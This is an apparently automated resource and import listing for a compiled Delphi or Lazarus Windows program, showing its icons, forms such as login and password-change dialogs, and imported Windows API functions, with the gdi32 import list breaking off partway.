RT_RCDATA	0x10f6b94	0x15d	PNG image data, 12 x 12, 8-bit/color RGBA, non-interlaced			1.0143266475644699
RT_RCDATA	0x10f6cf4	0x2303	Delphi compiled form 'TAboutForm'			0.2762467923686266
RT_RCDATA	0x10f8ff8	0x75	Delphi compiled form 'TAbstractOptionsEditorDialog'			0.8461538461538461
RT_RCDATA	0x10f9070	0x264	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0179738562091503
RT_RCDATA	0x10f92d4	0x396	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0119825708061003
RT_RCDATA	0x10f966c	0x3a7	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.011764705882353
RT_RCDATA	0x10f9a14	0x1b9	Delphi compiled form 'TCalendarPopupForm'			0.6054421768707483
RT_RCDATA	0x10f9bd0	0x893	Delphi compiled form 'TChangeParentDlg'			0.3362186788154897
RT_RCDATA	0x10fa464	0x227	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0199637023593466
RT_RCDATA	0x10fa68c	0x1dd	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0230607966457024
RT_RCDATA	0x10fa86c	0x2d2	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0152354570637119
RT_RCDATA	0x10fab40	0x335	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0133982947624847
RT_RCDATA	0x10fae78	0x21a	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.020446096654275
RT_RCDATA	0x10fb094	0x318	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0138888888888888
RT_RCDATA	0x10fb3ac	0x36b	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0125714285714287
RT_RCDATA	0x10fb718	0x300	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0143229166666667
RT_RCDATA	0x10fba18	0x43e	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0101289134438305
RT_RCDATA	0x10fbe58	0x580	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0078125
RT_RCDATA	0x10fc3d8	0x3ca	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.011340206185567
RT_RCDATA	0x10fc7a4	0x5f1	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0072320841551612
RT_RCDATA	0x10fcd98	0x7ee	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0054187192118227
RT_RCDATA	0x10fd588	0x282	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.017133956386293
RT_RCDATA	0x10fd80c	0x372	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0124716553287982
RT_RCDATA	0x10fdb80	0x3ed	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0109452736318407
RT_RCDATA	0x10fdf70	0x256	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0183946488294315
RT_RCDATA	0x10fe1c8	0x35f	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0127462340672073
RT_RCDATA	0x10fe528	0x3a3	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.011815252416756
RT_RCDATA	0x10fe8cc	0x251	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0185497470489038
RT_RCDATA	0x10feb20	0x38f	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0120746432491767
RT_RCDATA	0x10feeb0	0x3f9	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0108161258603736
RT_RCDATA	0x10ff2ac	0x30f	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0140485312899106
RT_RCDATA	0x10ff5bc	0x46e	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.009700176366843
RT_RCDATA	0x10ffa2c	0x5af	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0075601374570446
RT_RCDATA	0x10fffdc	0x2e7	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0148048452220726
RT_RCDATA	0x11002c4	0x47d	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.009573542210618
RT_RCDATA	0x1100744	0x530	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0082831325301205
RT_RCDATA	0x1100c74	0x25a	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0182724252491695
RT_RCDATA	0x1100ed0	0x3e6	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0110220440881763
RT_RCDATA	0x11012b8	0x49d	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0093141405588484
RT_RCDATA	0x1101758	0x304	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0142487046632125
RT_RCDATA	0x1101a5c	0x443	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.010082493125573
RT_RCDATA	0x1101ea0	0x579	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0078515346181298
RT_RCDATA	0x110241c	0x31c	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.013819095477387
RT_RCDATA	0x1102738	0x4c0	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.009046052631579
RT_RCDATA	0x1102bf8	0x645	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.006853582554517
RT_RCDATA	0x1103240	0x30e	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.014066496163683
RT_RCDATA	0x1103550	0x3d2	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0112474437627812
RT_RCDATA	0x1103924	0xd65	Delphi compiled form 'TCheckGroupEditorDlg'			0.342082239720035
RT_RCDATA	0x110468c	0x6fe	Delphi compiled form 'TCheckListBoxEditorDlg'			0.3865921787709497
RT_RCDATA	0x1104d8c	0x575	Delphi compiled form 'TCollectionPropertyEditorForm'			0.42018611309949894
RT_RCDATA	0x1105304	0x352	Delphi compiled form 'TComponentListEditorForm'			0.5141176470588236
RT_RCDATA	0x1105658	0x886	Delphi compiled form 'TDataPointsEditorForm'			0.45187901008249315
RT_RCDATA	0x1105ee0	0x2be	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0156695156695157
RT_RCDATA	0x11061a0	0x3c8	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0113636363636365
RT_RCDATA	0x1106568	0x4b4	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0091362126245846
RT_RCDATA	0x1106a1c	0x3c9	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0113519091847265
RT_RCDATA	0x1106de8	0x473	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.009657594381036
RT_RCDATA	0x110725c	0x701	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0061349693251533
RT_RCDATA	0x1107960	0x9453	Delphi compiled form 'TEditListForm'			0.5148139369518844
RT_RCDATA	0x1110db4	0x1ac5	Delphi compiled form 'TEnvMsgForm'			0.41062308478038817
RT_RCDATA	0x111287c	0x664	Delphi compiled form 'TFileFilterPropEditForm'			0.4339853300733496
RT_RCDATA	0x1112ee0	0x3756	Delphi compiled form 'TFormUserPerf'			0.312861781730905
RT_RCDATA	0x1116638	0x2178	Delphi compiled form 'TFrame_Profile'			0.29901960784313725
RT_RCDATA	0x11187b0	0x1ba9	Delphi compiled form 'TfrmIncluirPerfil'			0.47691004095466744
RT_RCDATA	0x111a35c	0x274d	Delphi compiled form 'TfrmIncluirUsuario'			0.4294801709571613
RT_RCDATA	0x111caac	0x1165	Delphi compiled form 'TfrmLoginWindow'			0.4212890186391197
RT_RCDATA	0x111dc14	0xda4	Delphi compiled form 'TGraphicPropertyEditorForm'			0.3104238258877434
RT_RCDATA	0x111e9b8	0x17b	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0158311345646438
RT_RCDATA	0x111eb34	0x1f5	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0219560878243512
RT_RCDATA	0x111ed2c	0x24c	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0187074829931972
RT_RCDATA	0x111ef78	0x792	Delphi compiled form 'TKeyValPropEditorFrm'			0.4102167182662539
RT_RCDATA	0x111f70c	0x235	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0194690265486726
RT_RCDATA	0x111f944	0x2f3	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.014569536423841
RT_RCDATA	0x111fc38	0x362	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.01270207852194
RT_RCDATA	0x111ff9c	0x11905	Delphi compiled form 'TMainForm'			0.6137529364340223
RT_RCDATA	0x11318a4	0x10fb	Delphi compiled form 'TMaskEditorForm'			0.2797331492983667
RT_RCDATA	0x11329a0	0x1535	Delphi compiled form 'TMsgRecForm'			0.3442622950819672
RT_RCDATA	0x1133ed8	0x60c2	Delphi compiled form 'TMsgsForm'			0.15651998385143318
RT_RCDATA	0x1139f9c	0x440	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.010110294117647
RT_RCDATA	0x113a3dc	0x795	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.005667181865018
RT_RCDATA	0x113ab74	0x9fb	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0043052837573385
RT_RCDATA	0x113b570	0xa67	Delphi compiled form 'TNewListForm'			0.4693954187007135
RT_RCDATA	0x113bfd8	0x52d	Delphi compiled form 'TObjectInspectorDlg'			0.48452830188679247
RT_RCDATA	0x113c508	0x992	Delphi compiled form 'TOptionForm'			0.3926530612244898
RT_RCDATA	0x113ce9c	0xb3d	Delphi compiled form 'TPagesPropEditorFrm'			0.26312130691692737
RT_RCDATA	0x113d9dc	0x308	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0141752577319587
RT_RCDATA	0x113dce4	0x450	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0099637681159421
RT_RCDATA	0x113e134	0x57c	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0078347578347577
RT_RCDATA	0x113e6b0	0x17a	Delphi compiled form 'TScreenForm'			0.7222222222222222
RT_RCDATA	0x113e82c	0xd53	Delphi compiled form 'TSelectPropertiesForm'			0.29991204925241866
RT_RCDATA	0x113f580	0x971	Delphi compiled form 'TSenhaForm'			0.6301199834505585
RT_RCDATA	0x113fef4	0x1071	Delphi compiled form 'TSmallOrderedSetEditDlg'			0.2753623188405797
RT_RCDATA	0x1140f68	0x2e1	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0149253731343284
RT_RCDATA	0x114124c	0x495	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0093776641091219
RT_RCDATA	0x11416e4	0x5aa	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0075862068965518
RT_RCDATA	0x1141c90	0x3c17	Delphi compiled form 'TStringGridEditorDlg'			0.7323018916986284
RT_RCDATA	0x11458a8	0x9cb	Delphi compiled form 'TStringsPropEditorFrm'			0.33905065815715996
RT_RCDATA	0x1146274	0x431	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0102516309412861
RT_RCDATA	0x11466a8	0x6f5	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0061763054463784
RT_RCDATA	0x1146da0	0x9dc	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0043581616481776
RT_RCDATA	0x114777c	0x40a	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0106382978723405
RT_RCDATA	0x1147b88	0x709	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0061077179344808
RT_RCDATA	0x1148294	0x9ad	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0044408558740412
RT_RCDATA	0x1148c44	0x455	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0099188458070334
RT_RCDATA	0x114909c	0x769	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0057986294148655
RT_RCDATA	0x1149808	0x9cf	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0043807248108323
RT_RCDATA	0x114a1d8	0x463	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0097951914514693
RT_RCDATA	0x114a63c	0x679	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0066385033192518
RT_RCDATA	0x114acb8	0x9c7	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0043947263284059
RT_RCDATA	0x114b680	0x439	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0101757631822386
RT_RCDATA	0x114babc	0x714	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0060706401766004
RT_RCDATA	0x114c1d0	0x90f	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0047434238896076
RT_RCDATA	0x114cae0	0x39c	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0119047619047619
RT_RCDATA	0x114ce7c	0x63b	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.006896551724138
RT_RCDATA	0x114d4b8	0x888	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.00503663003663
RT_RCDATA	0x114dd40	0x369	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0126002290950744
RT_RCDATA	0x114e0ac	0x615	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0070648683365446
RT_RCDATA	0x114e6c4	0x7ff	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0053737176355642
RT_RCDATA	0x114eec4	0x41e	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0104364326375712
RT_RCDATA	0x114f2e4	0x739	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.005949161709032
RT_RCDATA	0x114fa20	0x9f9	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0043086564825696
RT_RCDATA	0x115041c	0x440	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.010110294117647
RT_RCDATA	0x115085c	0x745	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0059108006448145
RT_RCDATA	0x1150fa4	0x96c	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0045605306799337
RT_RCDATA	0x1151910	0x401	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0107317073170732
RT_RCDATA	0x1151d14	0x69d	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.006497341996456
RT_RCDATA	0x11523b4	0x8ee	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.004811898512686
RT_RCDATA	0x1152ca4	0x3ac	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0117021276595746
RT_RCDATA	0x1153050	0x658	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0067733990147782
RT_RCDATA	0x11536a8	0x885	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.005043558000917
RT_RCDATA	0x1153f30	0x3bb	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0115183246073298
RT_RCDATA	0x11542ec	0x651	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0068027210884354
RT_RCDATA	0x1154940	0x869	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0051091500232234
RT_RCDATA	0x11551ac	0x567	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0079537237888647
RT_RCDATA	0x1155714	0xa0c	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.004276827371695
RT_RCDATA	0x1156120	0xdc7	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0031187978451943
RT_RCDATA	0x1156ee8	0x377	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.012401352874859
RT_RCDATA	0x1157260	0x685	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0065907729179149
RT_RCDATA	0x11578e8	0x85a	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0051449953227316
RT_RCDATA	0x1158144	0x37f	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.012290502793296
RT_RCDATA	0x11584c4	0x5c9	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0074274139095205
RT_RCDATA	0x1158a90	0x7c3	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0055359838953195
RT_RCDATA	0x1159254	0x470	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0096830985915493
RT_RCDATA	0x11596c4	0x791	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0056788848735156
RT_RCDATA	0x1159e58	0xa3b	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0042000763650247
RT_RCDATA	0x115a894	0x866	Delphi compiled form 'TTimePopupForm'			0.4441860465116279
RT_RCDATA	0x115b0fc	0x3cd	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0113052415210688
RT_RCDATA	0x115b4cc	0x650	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0068069306930694
RT_RCDATA	0x115bb1c	0x895	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0050068274920345
RT_RCDATA	0x115c3b4	0x348	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.013095238095238
RT_RCDATA	0x115c6fc	0x626	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0069885641677256
RT_RCDATA	0x115cd24	0x754	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.005863539445629
RT_RCDATA	0x115d478	0x420	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0104166666666667
RT_RCDATA	0x115d898	0x726	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0060109289617487
RT_RCDATA	0x115dfc0	0x987	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.004510045100451
RT_RCDATA	0x115e948	0x430	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0102611940298507
RT_RCDATA	0x115ed78	0x725	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0060142154182614
RT_RCDATA	0x115f4a0	0x975	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0045435770342834
RT_RCDATA	0x115fe18	0x3a3	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.011815252416756
RT_RCDATA	0x11601bc	0x638	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.0069095477386936
RT_RCDATA	0x11607f4	0x866	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0051162790697674
RT_RCDATA	0x116105c	0x1dd5	Delphi compiled form 'TTrocaSenha'			0.5284797695430142
RT_RCDATA	0x1162e34	0x7c12	Delphi compiled form 'TUCAboutForm'			0.9044140797179019
RT_RCDATA	0x116aa48	0x78a9	Delphi compiled form 'TUCEditorForm'			0.45071060895464404
RT_RCDATA	0x11722f4	0xf3e	Delphi compiled form 'TUCEMailForm'			0.26319835981547923
RT_RCDATA	0x1173234	0x284c	Delphi compiled form 'TUCFrame_Log'			0.2678363706863125
RT_RCDATA	0x1175a80	0x28e8	Delphi compiled form 'TUCFrame_User'			0.3364209320091673
RT_RCDATA	0x1178368	0xfe1	Delphi compiled form 'TUCFrame_UsersLogged'			0.4777367773677737
RT_RCDATA	0x117934c	0x43fc	Delphi compiled form 'TUCObjSel'			0.22264996552516664
RT_RCDATA	0x117d748	0x33a	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.013317191283293
RT_RCDATA	0x117da84	0x4c1	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced			1.009038619556286
RT_RCDATA	0x117df48	0x5ff	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0071661237785017
RT_RCDATA	0x117e548	0x3faf	Delphi compiled form 'TUserPermis'			0.3025210084033613
RT_GROUP_CURSOR	0x11824f8	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x118250c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x1182520	0x30	Lotus unknown worksheet or configuration, revision 0x3			0.8958333333333334
RT_GROUP_CURSOR	0x1182550	0x30	Lotus unknown worksheet or configuration, revision 0x3			0.9375
RT_GROUP_CURSOR	0x1182580	0x30	Lotus unknown worksheet or configuration, revision 0x3			0.9375
RT_GROUP_CURSOR	0x11825b0	0x30	Lotus unknown worksheet or configuration, revision 0x3			0.9375
RT_GROUP_CURSOR	0x11825e0	0x30	Lotus unknown worksheet or configuration, revision 0x3			0.9375
RT_GROUP_CURSOR	0x1182610	0x30	Lotus unknown worksheet or configuration, revision 0x3			0.9375
RT_GROUP_CURSOR	0x1182640	0x30	Lotus unknown worksheet or configuration, revision 0x3			0.9375
RT_GROUP_CURSOR	0x1182670	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x1182684	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x1182698	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x11826ac	0x14	Lotus unknown worksheet or configuration, revision 0x1	Serbian	Italy	1.3
RT_GROUP_ICON	0x11826c0	0x14	data			1.15
RT_VERSION	0x11826d4	0x298	OpenPGP Public Key			0.48493975903614456
RT_MANIFEST	0x118296c	0x6e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.41959229898074746

Imports

DLL	Import
kernel32.dll	GetStdHandle, GetConsoleMode, TlsGetValue, GetLastError, SetLastError, RaiseException, GetTickCount, ExitProcess, GetStartupInfoA, GetCommandLineA, GetCurrentProcessId, GetCurrentThreadId, GetCurrentProcess, ReadProcessMemory, GetModuleFileNameA, GetModuleHandleA, WriteFile, ReadFile, CloseHandle, SetFilePointer, GetFileSize, SetEndOfFile, GetSystemInfo, LoadLibraryW, LoadLibraryA, GetProcAddress, FreeLibrary, FormatMessageW, DeleteFileW, CreateFileW, GetFileAttributesW, CreateDirectoryW, SetCurrentDirectoryW, GetCurrentDirectoryW, GetFullPathNameW, GetConsoleOutputCP, GetOEMCP, GetProcessHeap, HeapAlloc, HeapFree, TlsAlloc, TlsSetValue, CreateThread, ExitThread, LocalAlloc, LocalFree, Sleep, SuspendThread, ResumeThread, TerminateThread, WaitForSingleObject, SetThreadPriority, GetThreadPriority, GetCurrentThread, OpenThread, IsDebuggerPresent, CreateEventA, ResetEvent, SetEvent, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, TryEnterCriticalSection, MultiByteToWideChar, WideCharToMultiByte, GetACP, GetConsoleCP, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, RtlUnwindEx, EnumResourceTypesA, EnumResourceNamesA, EnumResourceLanguagesA, FindResourceA, FindResourceExA, LoadResource, SizeofResource, LockResource, FreeResource, GetEnvironmentStringsA, FreeEnvironmentStringsA, FormatMessageA, CreateFileMappingA, GetLogicalDriveStringsA, GlobalAddAtomA, GetWindowsDirectoryA, GetComputerNameA, GetVersionExA, CompareStringA, GetLocaleInfoA, GetDateFormatA, EnumCalendarInfoA, GetModuleFileNameW, GetCommandLineW, GetSystemDirectoryW, SetFileAttributesW, CreateProcessW, FindNextFileW, CompareStringW, GetLocaleInfoW, GetDateFormatW, FindFirstFileExW, GlobalAlloc, GlobalReAlloc, GlobalSize, GlobalLock, GlobalUnlock, GetProcessAffinityMask, TerminateProcess, GetExitCodeProcess, GetExitCodeThread, SetErrorMode, GlobalDeleteAtom, DeviceIoControl, FindClose, DuplicateHandle, MulDiv, GetLocalTime, FileTimeToLocalFileTime, FileTimeToDosDateTime, CreatePipe, PeekNamedPipe, MapViewOfFile, UnmapViewOfFile, GetCPInfo, GetThreadLocale, SetThreadLocale, GetUserDefaultLCID
oleaut32.dll	SysAllocStringLen, SysFreeString, SysReAllocStringLen, VariantChangeTypeEx, VariantClear, VariantCopy, VariantInit, SafeArrayAccessData, SafeArrayCreate, SafeArrayGetElement, SafeArrayGetLBound, SafeArrayGetUBound, SafeArrayPtrOfIndex, SafeArrayPutElement, SafeArrayRedim, SafeArrayUnaccessData
user32.dll	MessageBoxA, CharUpperBuffW, CharLowerBuffW, RegisterWindowMessageA, PeekMessageA, SendMessageA, PostMessageA, DefWindowProcA, CallWindowProcA, RegisterClassA, UnregisterClassA, GetClassInfoA, RegisterClassExA, GetClassInfoExA, CreateWindowExA, SendDlgItemMessageA, RegisterClipboardFormatA, GetClipboardFormatNameA, CharToOemA, CharUpperA, CharUpperBuffA, CharLowerA, CharLowerBuffA, GetMenuItemInfoA, SetPropA, GetPropA, RemovePropA, EnumPropsA, GetWindowLongA, SetWindowLongA, GetClassLongA, GetClassLongPtrA, SetClassLongPtrA, FindWindowA, GetClassNameA, LoadBitmapA, LoadCursorA, LoadIconA, LoadImageA, SystemParametersInfoA, DispatchMessageW, PeekMessageW, SendMessageW, PostMessageW, DefWindowProcW, CallWindowProcW, RegisterClassW, UnregisterClassW, GetClassInfoW, CreateWindowExW, InsertMenuItemW, GetMenuItemInfoW, SetMenuItemInfoW, DrawTextW, DrawStateW, SetWindowTextW, GetWindowTextW, GetWindowTextLengthW, MessageBoxW, GetWindowLongPtrW, SetWindowLongPtrW, DefFrameProcW, DefMDIChildProcW, TranslateMessage, PostQuitMessage, GetDoubleClickTime, IsWindow, IsMenu, DestroyWindow, ShowWindow, ShowWindowAsync, MoveWindow, SetWindowPos, GetWindowPlacement, SetWindowPlacement, BeginDeferWindowPos, DeferWindowPos, EndDeferWindowPos, IsWindowVisible, IsIconic, BringWindowToTop, IsZoomed, GetDlgItem, GetDialogBaseUnits, OpenClipboard, CloseClipboard, SetClipboardData, GetClipboardData, CountClipboardFormats, EnumClipboardFormats, EmptyClipboard, IsClipboardFormatAvailable, SetFocus, GetActiveWindow, GetFocus, GetKeyState, GetCapture, SetCapture, ReleaseCapture, MsgWaitForMultipleObjects, SetTimer, KillTimer, EnableWindow, IsWindowEnabled, GetSystemMetrics, GetMenu, SetMenu, DrawMenuBar, GetSystemMenu, CreateMenu, CreatePopupMenu, DestroyMenu, EnableMenuItem, GetSubMenu, GetMenuItemCount, RemoveMenu, DeleteMenu, GetMenuItemRect, UpdateWindow, SetActiveWindow, GetForegroundWindow, SetForegroundWindow, WindowFromDC, GetDC, GetDCEx, GetWindowDC, ReleaseDC, BeginPaint, EndPaint, GetUpdateRect, SetWindowRgn, InvalidateRect, InvalidateRgn, RedrawWindow, ScrollWindowEx, ShowScrollBar, EnableScrollBar, GetClientRect, GetWindowRect, AdjustWindowRectEx, MessageBeep, SetCursorPos, SetCursor, GetCursorPos, CreateCaret, GetCaretBlinkTime, DestroyCaret, HideCaret, ShowCaret, SetCaretPos, GetCaretPos, ClientToScreen, ScreenToClient, MapWindowPoints, WindowFromPoint, GetSysColor, GetSysColorBrush, SetSysColors, DrawFocusRect, FillRect, FrameRect, SetRect, InflateRect, IntersectRect, UnionRect, OffsetRect, IsRectEmpty, PtInRect, GetDesktopWindow, GetParent, SetParent, EnumChildWindows, EnumThreadWindows, GetTopWindow, GetWindowThreadProcessId, GetLastActivePopup, GetWindow, CallNextHookEx, DestroyCursor, DestroyIcon, CopyImage, CreateIconIndirect, GetIconInfo, SetScrollInfo, GetScrollInfo, TranslateMDISysAccel, DrawEdge, DrawFrameControl, TrackPopupMenuEx, ChildWindowFromPointEx, DrawIconEx, FlashWindowEx, GetAncestor
advapi32.dll	GetUserNameA, RegSetValueExW, RegQueryValueExW, RegCreateKeyExW, RegOpenKeyExW, RegCloseKey, RegFlushKey
gdi32.dll	CreateFontIndirectA, EnumFontFamiliesA, GetCharABCWidthsA, GetTextExtentPointA, GetTextMetricsA, GetObjectA, ExtTextOutA, CreateFontIndirectW, EnumFontFamiliesExW, GetCharABCWidthsW, GetTextExtentPoint32W, GetTextExtentExPointW, GetObjectW, TextOutW, ExtTextOutW, GetRandomRgn, Arc, BitBlt, Chord, CombineRgn, CreateBitmap, CreateBrushIndirect, CreateCompatibleBitmap, CreateCompatibleDC, CreateDIBitmap, CreateEllipticRgn, CreatePen, CreatePenIndirect, CreatePatternBrush, CreateRectRgn, CreateRoundRectRgn, CreateSolidBrush, DeleteDC, DeleteObject, Ellipse, EqualRgn, ExcludeClipRect, ExtCreateRegion, ExtFloodFill, FillRgn, GetROP2, GetBkColor, GetBitmapBits, GetClipBox, GetClipRgn, GetCurrentObject, GetDeviceCaps, GetDIBits, GetMapMode, GetObjectType, GetPixel, GetRegionData, GetRgnBox, GetStockObject, GetTextAlign, GetTextColor, GetViewportExtEx, GetViewportOrgEx, GetWindowExtEx, GetWindowOrgEx, IntersectClipRect, LineTo, MaskBlt, OffsetRgn, PatBlt, Pie, PaintRgn, PtInRegion, RectInRegion, RectVisible, Rectangle, RestoreDC, RealizePalette, RoundRect, SaveDC, SelectClipRgn, ExtSelectClipRgn, SelectObject, SelectPalette, SetBkColor, SetBkMode, SetMapMode, SetPixel, SetPolyFillMode, StretchBlt, SetRectRgn, StretchDIBits, SetROP2, SetStretchBltMode, SetTextCharacterExtra, SetTextColor, SetTextAlign, CreateDIBSection, SetArcDirection, ExtCreatePen, MoveToEx, CreatePolygonRgn, DPtoLP, LPtoDP, Polygon, 